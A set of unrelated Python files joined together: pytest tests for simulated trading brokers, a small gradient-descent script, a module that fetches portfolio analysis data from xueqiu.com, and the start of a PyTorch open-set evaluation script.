    assert len(b._orders) == 1

def test_virtual_broker_order_place_success_fields(basic_broker):
    b = basic_broker
    known = pendulum.datetime(2023, 2, 1, 10, 17)
    with pendulum.test(known):
        response = b.order_place(
            symbol="aapl", quantity=10, side=1, price=100, trigger_price=99
        )
        d = response.data
        assert response.status == "success"
        assert response.timestamp == known
        assert response.data.order_id is not None
        assert d.price == 100
        assert d.trigger_price == 99
        assert d.symbol == "aapl"
        assert d.quantity == 10
        assert d.side == Side.BUY
        assert d.filled_quantity == 0
        assert d.canceled_quantity == 0
        assert d.pending_quantity == 10
        assert d.status == Status.OPEN

def test_virtual_broker_order_place_failure(basic_broker):
    b = basic_broker
    b.failure_rate = 1.0
    known = pendulum.datetime(2023, 2, 1, 10, 17)
    with pendulum.test(known):
        response = b.order_place(symbol="aapl", quantity=10, side=1, price=100)
        assert response.status == "failure"
        assert response.timestamp == known
        assert response.data is None

def test_virtual_broker_order_place_user_response(basic_broker):
    b = basic_broker
    b.failure_rate = 1.0
    response = b.order_place(response=dict(symbol="aapl", price=100))
    assert response == {"symbol": "aapl", "price": 100}

def test_virtual_broker_order_place_validation_error(basic_broker):
    b = basic_broker
    known = pendulum.datetime(2023, 2, 1, 10, 17)
    with pendulum.test(known):
        response = b.order_place()
        assert response.status == "failure"
        assert response.timestamp == known
        assert response.error_msg.startswith("Found 3 validation")
        assert response.data is None

        response = b.order_place(symbol="aapl", side=-1)
        assert response.status == "failure"
        assert response.timestamp == known
        assert response.error_msg.startswith("Found 1 validation")
        assert "quantity" in response.error_msg
        assert response.data is None

def test_virtual_broker_get(basic_broker):
    b = basic_broker
    for i in (50, 100, 130):
        b.order_place(symbol="dow", side=1, quantity=i)
    assert len(b._orders) == 3
    order_id = list(b._orders.keys())[1]
    assert b.get(order_id) == list(b._orders.values())[1]

def test_virtual_broker_order_modify(basic_broker):
    b = basic_broker
    order = b.order_place(symbol="dow", side=1, quantity=50)
    order_id = order.data.order_id
    resp = b.order_modify(order_id, quantity=25)
    assert resp.status == "success"
    assert resp.data.quantity == 25
    resp = b.order_modify(order_id, price=1000)
    assert resp.status == "success"
    assert resp.data.price == 1000
    assert list(b._orders.values())[0].price == 1000

def test_virtual_broker_order_modify_failure(basic_broker):
    b = basic_broker
    order = b.order_place(symbol="dow", side=1, quantity=50)
    order_id = order.data.order_id
    resp = b.order_modify("hexid", quantity=25)
    assert resp.status == "failure"
    assert resp.data is None
    b.failure_rate = 1.0
    resp = b.order_modify(order_id, price=100)
    assert resp.status == "failure"
    assert resp.data is None

def test_virtual_broker_order_modify_kwargs_response(basic_broker):
    b = basic_broker
    resp = b.order_modify("hexid", quantity=25, response=dict(a=10, b=15))
    assert resp == dict(a=10, b=15)

def test_virtual_broker_order_cancel(basic_broker):
    b = basic_broker
    order = b.order_place(symbol="dow", side=1, quantity=50)
    order_id = order.data.order_id
    resp = b.order_cancel(order_id)
    assert resp.status == "success"
    assert resp.data.canceled_quantity == 50
    assert resp.data.filled_quantity == 0
    assert resp.data.pending_quantity == 0
    assert resp.data.status == Status.CANCELED

def test_virtual_broker_order_cancel_failure(basic_broker):
    b = basic_broker
    order = b.order_place(symbol="dow", side=1, quantity=50)
    order_id = order.data.order_id
    resp = b.order_modify("hexid", quantity=25)
    assert resp.status == "failure"
    assert resp.data is None
    order = b.get(order_id)
    order.filled_quantity = 50
    assert resp.status == "failure"

def test_virtual_broker_order_cancel_kwargs_response(basic_broker):
    b = basic_broker
    resp = b.order_cancel("hexid", quantity=25, response=dict(a=10, b=15))
    assert resp == dict(a=10, b=15)

def test_fake_broker_ltp():
    b = FakeBroker()
    random.seed(1000)
    assert b.ltp("aapl") == {"aapl": 106}
    random.seed(1000)
    assert b.ltp("aapl", end=150) == {"aapl": 149}
    random.seed(1000)
    assert b.ltp("goog", start=1000, end=1200) == {"goog": 1199}

def test_fake_broker_orderbook():
    b = FakeBroker()
    ob = b.orderbook("aapl")
    assert "aapl" in ob
    obook = ob["aapl"]
    assert len(obook.ask) == 5
    assert len(obook.bid) == 5

    ob = b.orderbook("goog", bid=400, ask=405, depth=10, tick=1)
    obook = ob["goog"]
    assert obook.bid[-1].price == 391
    assert obook.ask[-1].price == 414
    assert obook.bid[0].price == 400
    assert obook.ask[0].price == 405
    assert len(obook.bid) == len(obook.ask) == 10
    assert len(obook.bid) == len(obook.ask) == 10

def test_generate_ohlc_default():
    random.seed(1001)
    ohlc = generate_ohlc()
    assert ohlc.open == 100
    assert ohlc.high == 103
    assert ohlc.low == 100
    assert ohlc.close == 102
    assert ohlc.last_price == 101
    assert ohlc.volume == 17876

def test_generate_ohlc_custom():
    random.seed(1002)
    ohlc = generate_ohlc(300, 380, 2e6)
    assert ohlc.open == 372
    assert ohlc.high == 376
    assert ohlc.low == 366
    assert ohlc.close == 369
    assert ohlc.last_price == 368
    assert ohlc.volume == 1546673

def test_fake_broker_ohlc():
    b = FakeBroker()
    random.seed(1001)
    quote = b.ohlc("goog")
    ohlc = quote["goog"]
    assert ohlc.open == 100
    assert ohlc.last_price == 101
    assert ohlc.volume == 17876

    random.seed(1001)
    quote = b.ohlc("aapl", start=400, end=450, volume=45000)
    ohlc = quote["aapl"]
    assert ohlc.high == 448
    assert ohlc.low == 403
    assert ohlc.last_price == 438
    assert ohlc.volume == 71954

def test_fake_broker_order_place():
    b = FakeBroker()
    random.seed(1000)
    order = b.order_place()
    assert order.symbol == "JPM"
    assert order.quantity == 1634
    assert order.side == Side.SELL
    assert order.price == 404
    assert order.filled_quantity == 1634
    assert order.pending_quantity == 0
    assert order.canceled_quantity == 0

def test_fake_broker_order_place_kwargs():
    b = FakeBroker()
    random.seed(1000)
    order = b.order_place(symbol="aapl", price=360, trigger_price=320, side=1)
    assert order.symbol == "aapl"
    assert order.quantity == 7038
    assert order.side == Side.BUY
    assert order.price == 360
    assert order.trigger_price == 320
    assert order.filled_quantity == 7038
    assert order.pending_quantity == 0
    assert order.canceled_quantity == 0

def test_fake_broker_quote():
    b = FakeBroker()
    random.seed(1200)
    quote = b.quote(symbol="goog")["goog"]
    assert quote.last_price == 104
    assert quote.high == 109
    assert quote.orderbook.ask[0].price == 106.01

def test_fake_broker_quote_kwargs_price():
    b = FakeBroker()
    random.seed(1200)
    quote = b.quote(symbol="goog", start=150, end=200)["goog"]
    assert quote.last_price == 171
    assert quote.high == 189
    assert quote.orderbook.ask[0].price == 177.01

def test_fake_broker_quote_kwargs_orderbook():
    b = FakeBroker()
    random.seed(1200)
    quote = b.quote(symbol="goog", start=150, end=200, volume=1e8, depth=15, tick=1)[
        "goog"
    ]
    assert quote.last_price == 171
    assert quote.high == 189
    assert quote.volume == 102924217
    assert len(quote.orderbook.ask) == len(quote.orderbook.bid) == 15
    assert quote.orderbook.ask[0].price == 178
    assert quote.orderbook.ask[-1].price == 192
    assert quote.orderbook.bid[0].price == 177
    assert quote.orderbook.bid[-1].price == 163

def test_fake_broker_ltps():
    b = FakeBroker()
    random.seed(1000)
    assert b.ltp(("aapl", "goog")) == dict(aapl=106, goog=101)
    random.seed(1000)
    assert b.ltp(list("abcd"), start=1000, end=1200) == dict(
        a=1199, b=1109, c=1171, d=1194
    )

def test_fake_broker_ltps_iterables():
    from collections import Counter

    lst = list("abcd")
    tup = tuple("abcd")
    dct = Counter("abcd")
    st = set("abcd")
    b = FakeBroker()
    random.seed(1000)
    assert b.ltp(lst, start=1000, end=1200) == dict(a=1199, b=1109, c=1171, d=1194)
    random.seed(1000)
    assert b.ltp(tup, start=1000, end=1200) == dict(a=1199, b=1109, c=1171, d=1194)
    random.seed(1000)
    assert b.ltp(dct, start=1000, end=1200) == dict(a=1199, b=1109, c=1171, d=1194)
    random.seed(1000)
    assert b.ltp(sorted(st), start=1000, end=1200) == dict(
        a=1199, b=1109, c=1171, d=1194
    )

def test_fake_broker_ltps_non_iterable():
    b = FakeBroker()
    random.seed(1000)
    assert b.ltp(100) == dict()

def test_fake_broker_orderbook_multi():
    b = FakeBroker()
    symbols = list("abcdef")
    orderbook = b.orderbook(symbols, depth=10, tick=2, ask=1000, bid=1003)
    assert len(orderbook) == 6
    assert list(orderbook.keys()) == list("abcdef")
    for k, v in orderbook.items():
        assert type(v) == OrderBook
        assert len(v.ask) == len(v.bid) == 10
        assert v.ask[-1].price == 1021
        assert v.bid[-1].price == 982

def test_fake_broker_ohlc_multi():
    b = FakeBroker()
    symbols = list("abcdef")
    ohlc = b.ohlc(symbols, start=50, end=400)
    for k, v in ohlc.items():
        assert v.high < 400
        assert v.low >= 50

def test_fake_broker_multi_quote():
    b = FakeBroker()
    symbols = list("abcdef")
    quotes = b.quote(symbols, start=100, end=500, depth=10)
    for k, v in quotes.items():
        assert 100 < v.last_price < 500
        assert len(v.orderbook.ask) == len(v.orderbook.bid) == 10

def test_fake_broker_quote_spread_between_high_low():
    b = FakeBroker()
    symbols = [str(x) for x in range(1001, 1100)]
    quotes = b.quote(symbols, start=100, end=4200, depth=20)
    for k, v in quotes.items():
        assert 100 < v.last_price < 4200
        assert v.low < v.orderbook.ask[0].price < v.high
        assert v.low < v.orderbook.bid[0].price < v.high

def test_fake_broker_order_place_complete():
    b = FakeBroker()
    order = b.order_place()
    assert order.quantity == order.filled_quantity
    assert order.pending_quantity == order.canceled_quantity == 0
    assert order.status == Status.COMPLETE

def test_fake_broker_order_place_canceled():
    b = FakeBroker()
    order = b.order_place(s=Status.CANCELED)
    assert order.quantity == order.canceled_quantity
    assert order.pending_quantity == order.filled_quantity == 0
    assert order.status == Status.CANCELED

def test_fake_broker_order_place_open():
    b = FakeBroker()
    order = b.order_place(s=Status.OPEN)
    assert order.quantity == order.pending_quantity
    assert order.canceled_quantity == order.filled_quantity == 0
    assert order.status == Status.OPEN

def test_fake_broker_order_place_partial_fill():
    b = FakeBroker()
    order = b.order_place(s=Status.PARTIAL_FILL)
    assert order.filled_quantity > 0
    assert order.canceled_quantity > 0
    assert order.pending_quantity == 0
    assert (
        order.filled_quantity + order.canceled_quantity + order.pending_quantity
        == order.quantity
    )
    assert order.status == Status.PARTIAL_FILL

def test_fake_broker_order_place_pending():
    b = FakeBroker()
    order = b.order_place(s=Status.PENDING)
    assert order.filled_quantity > 0
    assert order.pending_quantity > 0
    assert order.canceled_quantity == 0
    assert (
        order.filled_quantity + order.canceled_quantity + order.pending_quantity
        == order.quantity
    )
    assert order.status == Status.PENDING

def test_fake_broker_create_order_args():
    b = FakeBroker()
    order_args = b._create_order_args(**dict())
    for k in ("symbol", "quantity", "price", "side"):
        assert k in order_args
    kwargs = dict(symbol="tsla", quantity=194, trigger_price=200)
    order_args = b._create_order_args(**kwargs)
    for k in ("symbol", "quantity", "price", "side"):
        assert k in order_args
    assert order_args["symbol"] == "tsla"
    assert order_args["quantity"] == 194
    assert order_args["trigger_price"] == 200

def test_fake_broker_order_modify():
    b = FakeBroker()
    order = b.order_modify()
    assert order.status == Status.OPEN
    assert order.pending_quantity == order.quantity
    assert order.filled_quantity == order.canceled_quantity == 0

def test_fake_broker_order_modify_kwargs():
    b = FakeBroker()
    order = b.order_modify(quantity=100, side=-1, order_id="abcd")
    assert order.status == Status.OPEN
    assert order.quantity == 100
    assert order.order_id == "abcd"
    assert order.side == Side.SELL

def test_fake_broker_order_cancel():
    b = FakeBroker()
    order = b.order_cancel()
    assert order.status == Status.CANCELED
    assert order.canceled_quantity == order.quantity
    assert order.pending_quantity == order.filled_quantity == 0

def test_fake_broker_order_cancel_kwargs():
    b = FakeBroker()
    order = b.order_cancel(symbol="amzn", price=188.4)
    assert order.status == Status.CANCELED
    assert order.symbol == "amzn"
    assert order.price == 188.4

def test_fake_broker_positions():
    b = FakeBroker()
    positions = b.positions()
    assert len(positions) > 0

def test_fake_broker_positions_symbols():
    b = FakeBroker()
    symbols = ["tsla", "amzn", "meta"]
    positions = b.positions(symbols=symbols)
    assert len(positions) == 3
    assert set([p.symbol for p in positions]) == set(symbols)

def test_virtual_broker_add_user():
    b = VirtualBroker()
    assert len(b.users) == len(b.clients) == 0
    user1 = VUser(userid="abcd1234")
    user2 = VUser(userid="xyz456")
    assert b.add_user(user1) is True
    assert b.add_user(user2) is True
    assert len(b.users) == len(b.clients) == 2
    assert b.add_user(user1) is False
    assert len(b.users) == len(b.clients) == 2

def test_virtual_broker_order_place_users(basic_broker_with_users):
    b = basic_broker_with_users
    b.failure_rate = 0.0  # To ensure all orders are passed
    b.order_place(symbol="aapl", quantity=10, side=1)
    b.order_place(symbol="goog", quantity=10, side=1)
    for c in b.clients:
        b.order_place(symbol="aapl", quantity=20, side=-1, userid=c)
    b.order_place(symbol="goog", quantity=10, side=1, userid="unknown")
    assert len(b._orders) == 6
    for u in b.users:
        assert len(u.orders) == 1
    assert len(b.clients) == len(b.users) == 3

def test_virtual_broker_order_place_same_memory(basic_broker_with_users):
    # Check orders have the same memory id
    b = basic_broker_with_users
    b.failure_rate = 0.0  # To ensure all orders are passed
    b.order_place(symbol="aapl", quantity=10, side=1)
    b.order_place(symbol="goog", quantity=10, side=1)
    for c in b.clients:
        b.order_place(symbol="aapl", quantity=20, side=-1, userid=c)
    assert len(b._orders) == 5
    for i in range(3):
        order = b.users[i].orders[0]
        assert (id(order)) == id(b._orders[order.order_id])
        assert order is b._orders[order.order_id]

def test_virtual_broker_order_place_delay(basic_broker_with_users):
    b = basic_broker_with_users
    b.order_place(symbol="aapl", quantity=10, side=1)
    b.order_place(symbol="goog", quantity=10, side=1, delay=5e6)
    orders = list(b._orders.values())
    assert orders[0]._delay == 1000000
    assert orders[1]._delay == 5000000

def test_virtual_broker_get_order_by_status(basic_broker_with_users):
    b = basic_broker_with_users
    known = pendulum.datetime(2023, 2, 1, 10, 17)
    with pendulum.test(known):

        resp = b.order_place(symbol="aapl", quantity=10, side=1)
        order_id = resp.data.order_id
        order = b.get(order_id)
        assert order.pending_quantity == 10
    with pendulum.test(known.add(seconds=2)):
        b.get(order_id)
        assert order.status == Status.COMPLETE
        assert order.filled_quantity == 10
    with pendulum.test(known.add(seconds=3)):
        b.get(order_id, status=Status.CANCELED)
        assert order.status == Status.COMPLETE

    # Order with custom status

    with pendulum.test(known):
        resp = b.order_place(symbol="goog", quantity=10, side=1)
        order_id = resp.data.order_id
        order = b.get(order_id)
    with pendulum.test(known.add(seconds=3)):
        b.get(order_id, status=Status.CANCELED)
        assert order.status == Status.CANCELED
        assert order.filled_quantity == 0
        assert order.canceled_quantity == 10

def test_virtual_broker_update_ticker(basic_broker_with_prices):
    b = basic_broker_with_prices
    assert b.tickers["aapl"].ohlc().high == 106
    assert b.tickers["goog"].ohlc().low == 120
    assert b.tickers["amzn"].ohlc().close == 261
    assert b.tickers["aapl"].ohlc().dict() == dict(
        open=100, high=106, low=99, close=103, last_price=103
    )

def test_virtual_broker_ltp(basic_broker_with_prices):
    b = basic_broker_with_prices
    b.ltp("aapl") == dict(aapl=103)
    b.ltp(["goog", "amzn"]) == dict(goog=123, amzn=261)

def test_virtual_broker_ltp(basic_broker_with_prices):
    b = basic_broker_with_prices
    b.ltp("dow") is None
    b.ltp(["goog", "amzn", "dow", "aa"]) == dict(goog=123, amzn=261)
    assert len(b.ltp(["goog", "amzn", "dow", "aa"])) == 2

def test_virtual_broker_ohlc(basic_broker_with_prices):
    b = basic_broker_with_prices
    assert b.ohlc("aapl") == dict(aapl=b.tickers["aapl"].ohlc())

def test_fake_broker_ltp_user_response():
    b = FakeBroker()
    assert b.ltp("aapl", response=4) == 4
    assert b.ltp("aapl", response={1, 2, 3}) == set([1, 2, 3])
    assert b.ltp("aapl", response=dict(price=110)) == {"price": 110}

def test_fake_broker_user_response_other_methods():
    b = FakeBroker()
    assert b.ohlc(response=100) == 100
    assert b.quote(response=100) == 100
    assert b.orderbook(response=100) == 100
    assert b.positions(response=100) == 100
    assert b.orders(response=100) == 100
    assert b.trades(response=100) == 100

def test_fake_broker_user_response_order_methods():
    b = FakeBroker()
    assert b.order_place(response="hello") == "hello"
    assert b.order_modify(response="hello") == "hello"
    assert b.order_cancel(response="hello") == "hello"

def test_fake_broker_orders():
    random.seed(10001)
    b = FakeBroker()
    orders = b.orders()
    assert len(orders) == 6
    assert all([o.price > 0 for o in orders]) is True
    assert all([o.quantity > 0 for o in orders]) is True

def test_fake_broker_trades():
    random.seed(10001)
    b = FakeBroker()
    trades = b.trades()
    assert len(trades) == 12
    assert all([o.price > 0 for o in trades]) is True
    assert all([o.quantity > 0 for o in trades]) is True

def test_replica_broker_defaults():
    broker = ReplicaBroker()
    assert broker.name == "replica"
    assert broker.instruments == dict()
    assert broker.orders == dict()
    assert broker.users == set(["default"])
    assert broker._user_orders == dict()
    assert broker.pending == []
    assert broker.completed == []
    assert broker.fills == []

def test_replica_broker_update():
    broker = ReplicaBroker()
    random.seed(1000)
    names = ["AAPL", "XOM", "DOW"]
    instruments = []
    for name in names:
        inst = generate_instrument(name=name)
        instruments.append(inst)
    broker.update(instruments)
    for name in names:
        assert name in broker.instruments

    # Update existing instrument
    instruments[0].last_price = 144
    broker.update([instruments[0]])
    assert broker.instruments["AAPL"].last_price == 144

def test_replica_broker_order_place(replica_with_instruments):
    known = pendulum.datetime(2023, 4, 1, 9, 30, tz="local")
    broker = replica_with_instruments
    with pendulum.test(known):
        order = broker.order_place(symbol="AAPL", side=1, quantity=10)
        assert order.order_id in broker.orders
        assert len(broker._user_orders["default"]) == 1
        assert order.is_done is False
        assert len(broker.pending) == 1
        assert len(broker.fills) == 1
        assert broker.pending[0].order_id == order.order_id
        assert (
            id(order)
            == id(broker.orders[order.order_id])
            == id(broker._user_orders["default"][0])
            == id(broker.pending[0])
            == id(broker.fills[0].order)
        )

    # Order status should not change with time
    with pendulum.test(known.add(minutes=5)):
        assert order.is_done is False
        assert order.filled_quantity == 0

def test_replica_broker_order_place_multiple_users(replica_with_instruments):
    broker = replica_with_instruments
    order = broker.order_place(symbol="AAPL", side=1, quantity=10)
    for user in ("user1", "user2", "default"):
        order = broker.order_place(symbol="AAPL", side=1, quantity=10, user=user)
    order = broker.order_place(symbol="AAPL", side=1, quantity=10)
    assert len(broker.orders) == 5
    assert len(broker._user_orders) == 3
    for k, v in broker._user_orders.items():
        if k == "default":
            assert len(v) == 3
        else:
            assert len(v) == 1

def test_replica_order_fill(replica_with_orders):
    broker = replica_with_orders
    assert len(broker.orders) == 10
    assert len(broker.completed) == 0
    assert len(broker._user_orders) == 3
    # Since we already knew the filled and non-filled orders
    order_ids = [order.order_id for order in broker.orders.values()]
    filled_ids = []
    non_filled_ids = []
    avg_prices = {
        broker.fills[i].order.order_id: v
        for i, v in zip((0, 3, 4, 5, 7), (125, 136, 136, 153, 153))
    }

    for i, v in enumerate(broker.fills, start=1):
        if i in (2, 3, 7, 9, 10):
            non_filled_ids.append(v.order.order_id)
        else:
            filled_ids.append(v.order.order_id)
    broker.run_fill()
    assert len(broker.completed) == len(broker.fills) == 5
    assert broker.completed
    print(broker.instruments)
    for order in broker.completed:
        assert order.order_id in filled_ids
        assert order.average_price == avg_prices[order.order_id]
    broker.instruments["AAPL"].last_price = 127
    broker.run_fill()
    assert len(broker.fills) == 4
    assert len(broker.completed) == 6
    assert broker.orders[order_ids[1]].average_price == 126
    assert broker.orders[order_ids[1]].filled_quantity == 10
    for i in range(10):
        # results should be the same
        broker.run_fill()
    assert len(broker.fills) == 4
    assert len(broker.completed) == 6
    broker.instruments["AAPL"].last_price = 121.95
    broker.run_fill()
    assert len(broker.fills) == 1
    assert len(broker.completed) == 9
    assert order_ids[6] in broker.orders

def test_replica_broker_order_modify(replica_with_instruments):
    broker = replica_with_instruments
    order = broker.order_place(
        symbol="AAPL", side=1, quantity=10, order_type=2, price=124
    )
    order_id = order.order_id
    broker.run_fill()
    assert order.is_done is False
    broker.order_modify(order_id, quantity=20, price=125.1)
    assert broker.orders[order_id].quantity == 20
    assert broker.orders[order_id].price == 125.1
    broker.run_fill()
    assert order.filled_quantity == 20
    assert order.average_price == 125.1
    assert order.is_done is True

def test_replica_broker_order_modify_market(replica_with_instruments):
    broker = replica_with_instruments
    order = broker.order_place(
        symbol="AAPL", side=1, quantity=10, order_type=2, price=124
    )
    order_id = order.order_id
    broker.run_fill()
    assert order.is_done is False
    broker.order_modify(order_id, quantity=20)
    broker.run_fill()
    assert order.is_done is False
    broker.order_modify(order_id, order_type=1)
    broker.run_fill()
    assert order.filled_quantity == 20
    assert order.average_price == 125
    assert order.is_done is True
    assert (
        id(order)
        == id(broker.orders[order_id])
        == id(broker._user_orders["default"][0])
    )
    assert len(broker.completed) == 1

def test_replica_broker_order_cancel(replica_with_instruments):
    broker = replica_with_instruments
    order = broker.order_place(
        symbol="AAPL", side=1, quantity=10, order_type=2, price=124
    )
    broker.run_fill()
    assert order.is_done is False
    broker.order_cancel(order.order_id)
    assert len(broker.completed) == 1
    assert order.is_done is True
    assert len(broker.fills) == 1
    broker.run_fill()
    assert len(broker.fills) == 0

def test_replica_broker_order_cancel_multiple_times(replica_with_instruments):
    broker = replica_with_instruments
    order = broker.order_place(
        symbol="AAPL", side=1, quantity=10, order_type=2, price=124
    )
    broker.run_fill()
    assert order.is_done is False
    for i in range(10):
        broker.order_cancel(order.order_id)
    assert len(broker.completed) == 1
    assert order.is_done is True
    assert len(broker.fills) == 1
    broker.run_fill()
    assert len(broker.fills) == 0


import numpy as np
import matplotlib.pyplot as pt
import pandas as pd

def gradient_descent():
    #reading data from csv file using pandas pd
    data = pd.read_csv('Data Set.csv')
    x = data['X']
    y = data['Y']
    #print("x{},y{}".format(x,y))
    #assigning initial values of theta0 and theta1
    theta1 = theta0 = 0
    total_data = len(x)
    learning_rate = 0.001
    no_of_iterations = 1000
    prev_cost = -10

    for i in range(no_of_iterations):
        actual_y = theta1 * x
        cost_value = (1/2*total_data)*sum(val**2 for val in (y - actual_y))
        derivative_term = -(1/total_data) * sum(x * (y - actual_y))
        theta1 = theta1 - learning_rate * derivative_term
        print('theta1 value : ', theta1, '    Corresponding cost value : ', cost_value, '   iteration number : ', i)
        pt.scatter(theta1, cost_value)

        if(cost_value == prev_cost):
            print('\n\nLowest cost value : ', cost_value, 'corresponding theta1 value : ', theta1, '\n')
            break
        else:
            prev_cost = cost_value

  #  pt.xlabel('Value of theta1')
   # pt.ylabel('value of cost/error')
   # pt.show()

gradient_descent()


"""
snowman.Analysis
~~~~~~~~~~~~~~~~

This module provides a analysis object to get all kinds of analysis data of the portfolios
on xueqiu.com
"""
import re
import json
import logging

from .headers import default_headers
from .urls import urls
from .session import Session
from .exceptions import JsonLoadError, WrongStatusCode, AnalysisContentError

log = logging.getLogger(__name__)

class Analysis(object):
    """ the analysis information of a portfolio.

    :param symbol: the portfolio symbol, a string starting with 'ZH'
    :param session: (optional) the session object responsible for http(s) connection

    Usage::

    >>> from snowman import Analysis
    >>> ana = Analysis('ZH123456')
    >>> ana.benefit() # return benefit analysis data
    >>> ana.turnover() # return turnover analysis data
    >>> ...

    """

    def __init__(self, symbol, session = None):
        self.symbol = symbol
        self.s = session if session else Session()
        self.benefit_origin = None
        self.benefit_simple = None
        self.max_draw_origin = None
        self.max_draw_simple = None
        self.turnover_origin = None
        self.turnover_simple = None
        self.liquidity_origin = None
        self.liquidity_simple = None
        self.volatility_origin = None
        self.volatility_simple = None
        self.top_stocks_origin = None
        self.top_stocks_simple = None

    def _update(self, url):
        """ to get raw data """
        self.s.touch()
        log.debug('request ' + url)
        resp = self.s.get(url)
        if resp.status_code != 200:
            raise WrongStatusCode(resp.status_code)
        try:
            data = json.loads(resp.text)
        except json.decoder.JSONDecodeError:
            raise JsonLoadError('"{}..."'.format(resp.text[:50]))
        return data

    def _save(self, origin_data, simple_data, url, origin_to_simple, origin = False, update = False):
        """ an abstruct function contain the logic of cache """
        if update or origin_data is None:
            origin_data = self._update(url)
            simple_data = None
        if origin : return origin_data, simple_data
        if simple_data is None:
            if origin_data == {'success': False} or origin_data == []:
                simple_data = origin_data
            else:
                try:
                    simple_data = origin_to_simple(origin_data)
                except KeyError as e:
                    raise AnalysisContentError(str(e))
        return origin_data, simple_data

    def benefit(self, origin = False, update = False):
        """ benefit analysis data

        :param origin: (optional, defaults to False) return the origin data from the api when origin is true, otherwise, return a simple customed version.
        :param update: (optional, defaults to False) try to reuse the cache if update is false, otherwise, request and update the cache.

        :rtype: list
        """
        origin_to_simple = lambda origin_data: [(int(re.sub('-', '', month['date'])), month['value'])
                                           for month in origin_data[0]['profit_list']]
        self.benefit_origin, self.benefit_simple = self._save(self.benefit_origin,
                                         self.benefit_simple,
                                         urls.analysis_benefit(self.symbol),
                                         origin_to_simple,
                                         origin = origin,
                                         update = update)
        return self.benefit_origin if origin else self.benefit_simple

    def max_draw(self, origin = False, update = False):
        """ max draw analysis data

        :param origin: (optional, defaults to False) return the origin data from the api when origin is true, otherwise, return a simple customed version.
        :param update: (optional, defaults to False) try to reuse the cache if update is false, otherwise, request and update the cache.

        :rtype: dict
        """
        def origin_to_simple(origin_data):
            simple_data = {}
            simple_data['begin_date'] = origin_data['begin_date']
            simple_data['end_date'] = origin_data['end_date']
            simple_data['value'] = origin_data['max_draw']
            return simple_data
        self.max_draw_origin, self.max_draw_simple = self._save(self.max_draw_origin,
                                                                self.max_draw_simple,
                                                                urls.analysis_max_draw(self.symbol),
                                                                origin_to_simple,
                                                                origin = origin,
                                                                update = update)
        return self.max_draw_origin if origin else self.max_draw_simple

    def turnover(self, origin = False, update = False):
        """ turnover analysis data

        :param origin: (optional, defaults to False) return the origin data from the api when origin is true, otherwise, return a simple customed version.
        :param update: (optional, defaults to False) try to reuse the cache if update is false, otherwise, request and update the cache.

        :rtype: dict if origin is True, otherwise an float number
        """
        self.turnover_origin, self.turnover_simple = self._save(self.turnover_origin,
                                                                self.turnover_simple,
                                                                urls.analysis_turnover(self.symbol),
                                                                lambda origin_data: origin_data['values'][0]['value'],
                                                                origin = origin,
                                                                update = update)
        return self.turnover_origin if origin else self.turnover_simple

    def liquidity(self, origin = False, update = False):
        """ liquidity analysis data

        :param origin: (optional, defaults to False) return the origin data from the api when origin is true, otherwise, return a simple customed version.
        :param update: (optional, defaults to False) try to reuse the cache if update is false, otherwise, request and update the cache.

        :rtype: dict if origin is True, otherwise an float number
        """
        self.liquidity_origin, self.liquidity_simple = self._save(self.liquidity_origin,
                                                                  self.liquidity_simple,
                                                                  urls.analysis_liquidity(self.symbol),
                                                                  lambda origin_data: origin_data['values'][0]['value'],
                                                                  origin = origin,
                                                                  update = update)
        return self.liquidity_origin if origin else self.liquidity_simple

    def volatility(self, origin = False, update = False):
        """ volatility analysis data

        :param origin: (optional, defaults to False) return the origin data from the api when origin is true, otherwise, return a simple customed version.
        :param update: (optional, defaults to False) try to reuse the cache if update is false, otherwise, request and update the cache.

        :rtype: dict if origin is True, otherwise an float number
        """
        self.volatility_origin, self.volatility_simple = self._save(self.volatility_origin,
                                                                    self.volatility_simple,
                                                                    urls.analysis_volatility(self.symbol),
                                                                    lambda origin_data: origin_data['volatility_rate'],
                                                                    origin = origin,
                                                                    update = update)
        return self.volatility_origin if origin else self.volatility_simple

    def top_stocks(self, page = 1, count = 5, origin = False, update = False):
        """ volatility analysis data

        :param page: (optional, defaults to 1) this param works with count param.
                    if page is N, the result is stocks ranking between [(N - 1) * count + 1, N * count]
                    so when page is 1, the result is top [count] stocks.
        :param count: (optional, defaults to 5) check page param.
        :param origin: (optional, defaults to False) return the origin data from the api when origin is true, otherwise, return a simple customed version.
        :param update: (optional, defaults to False) try to reuse the cache if update is false, otherwise, request and update the cache.

        :rtype: dict if origin is True, otherwise list
        """
        origin_to_simple = lambda origin_data: [{'symbol': st['stock_symbol'],
                                                 'name': st['stock_name'],
                                                 'benefit': st['stock_benefit'],
                                                 'holding_duration': st['holding_duration']}
                                                for st in origin_data['stock_list']]
        self.top_stocks_origin, self.top_stocks_simple = self._save(self.top_stocks_origin,
                                                                    self.top_stocks_simple,
                                                                    urls.analysis_top_stocks(self.symbol, page = page, count = count),
                                                                    origin_to_simple,
                                                                    origin = origin,
                                                                    update = update)
        return self.top_stocks_origin if origin else self.top_stocks_simple

    def all(self, page = 1, count = 5, origin = False):
        """ update all the caches, and return all analysis data in a single dict.

        :param page: (optional, defaults to 1) this only affect the data for top stocks.
                    this param works with count param.
                    if page is N, the result is stocks ranking between [(N - 1) * count + 1, N * count]
                    so when page is 1, the result is top [count] stocks.
        :param count: (optional, defaults to 5) this only affect the data for top stocks. Check page param.
        :param origin: (optional, defaults to False) return the origin data from the api when origin is true, otherwise, return a simple customed version.
        :param update: (optional, defaults to False) try to reuse the cache if update is false, otherwise, request and update the cache.

        :rtype: dict
        """
        return {'benefit': self.benefit(origin = origin),
                'turnover': self.turnover(origin = origin),
                'liquidity': self.liquidity(origin = origin),
                'volatility': self.volatility(origin = origin),
                'max_draw': self.max_draw(origin = origin),
                'top_stocks': self.top_stocks(page = page, count = count, origin = origin),
                }


from copy import deepcopy

import torch
import torch.nn as nn
from torch.utils.data import DataLoader

from common.common import parse_args
import models.classifier as C
from datasets.datasets import get_datasets_for_test

P = parse_args()
P.mode = "openset_eval"
P.model = "resnet50_imagenet"
P.im_mean = [0.485, 0.456, 0.406]
P.im_std = [0.229, 0.224, 0.225]

### Set torch device ###

P.n_gpus = torch.cuda.device_count()
assert P.n_gpus <= 1  # no multi GPU
P.multi_gpu = False

if torch.cuda.is_available():
    torch.cuda.set_device(P.local_rank)
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")

source_ds, target_ds, n_classes = get_datasets_for_test(P)
P.image_size = (224, 224, 3)
P.n_classes = n_classes

source_test_loader = DataLoader(source_ds, shuffle=False, batch_size=1, num_workers=4)
target_test_loader = DataLoader(target_ds, shuffle=False, batch_size=1, num_workers=4)

### Initialize model ###

